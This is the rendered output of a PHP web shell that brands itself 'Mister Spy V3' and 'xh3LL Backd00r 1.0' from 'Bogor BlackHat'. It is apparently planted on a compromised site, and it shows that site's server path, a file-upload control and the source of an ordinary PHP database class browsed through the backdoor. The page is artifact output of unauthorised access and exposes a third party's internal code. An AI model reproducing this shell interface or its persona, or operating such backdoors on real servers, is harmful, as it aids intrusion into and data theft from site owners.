Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.formasentrega.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.entidad.php');

class FormasEntrega extends DBAccess
{
	public function GetAll()
	{
		$sql = " SELECT *";
		$sql.= " FROM tblFormasEntrega";
		$sql.= " WHERE 1";
		$sql.= " ORDER BY IdFormaEntrega ASC";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oFormaEntrega = new FormaEntrega();
			$oFormaEntrega->ParseFromArray($oRow);
			
			array_push($arr, $oFormaEntrega);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}


	public function GetAllActivos()
	{
		$sql = " SELECT *";
		$sql.= " FROM tblFormasEntrega";
		$sql.= " WHERE Activo = " . DB::Bool(true);
		$sql.= " ORDER BY IdFormaEntrega ASC";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oFormaEntrega = new FormaEntrega();
			$oFormaEntrega->ParseFromArray($oRow);
			
			array_push($arr, $oFormaEntrega);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
	
	public function GetById($IdFormaEntrega)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblFormasEntrega";
		$sql.= " WHERE IdFormaEntrega = " . DB::Number($IdFormaEntrega);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oFormaEntrega = new FormaEntrega();
		$oFormaEntrega->ParseFromArray($oRow);

		return $oFormaEntrega;
	}


	public function Update(FormaEntrega $oFormaEntrega)
	{
		$arr = array
		(
			'Nombre'				=> DB::String($oFormaEntrega->Nombre),
			'Activo'				=> DB::Bool($oFormaEntrega->Activo),
			'RequiereCostoMinimo'	=> DB::Number($oFormaEntrega->RequiereCostoMinimo),
			'CostoMinimo'			=> DB::Number($oFormaEntrega->CostoMinimo)
		);

		$where = " IdFormaEntrega = " . (int)$oFormaEntrega->IdFormaEntrega;
		
		if (!DBAccess::UpdateEntidad('tblFormasEntrega', $arr, $where))
			return false;
		
		return $oFormaEntrega;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat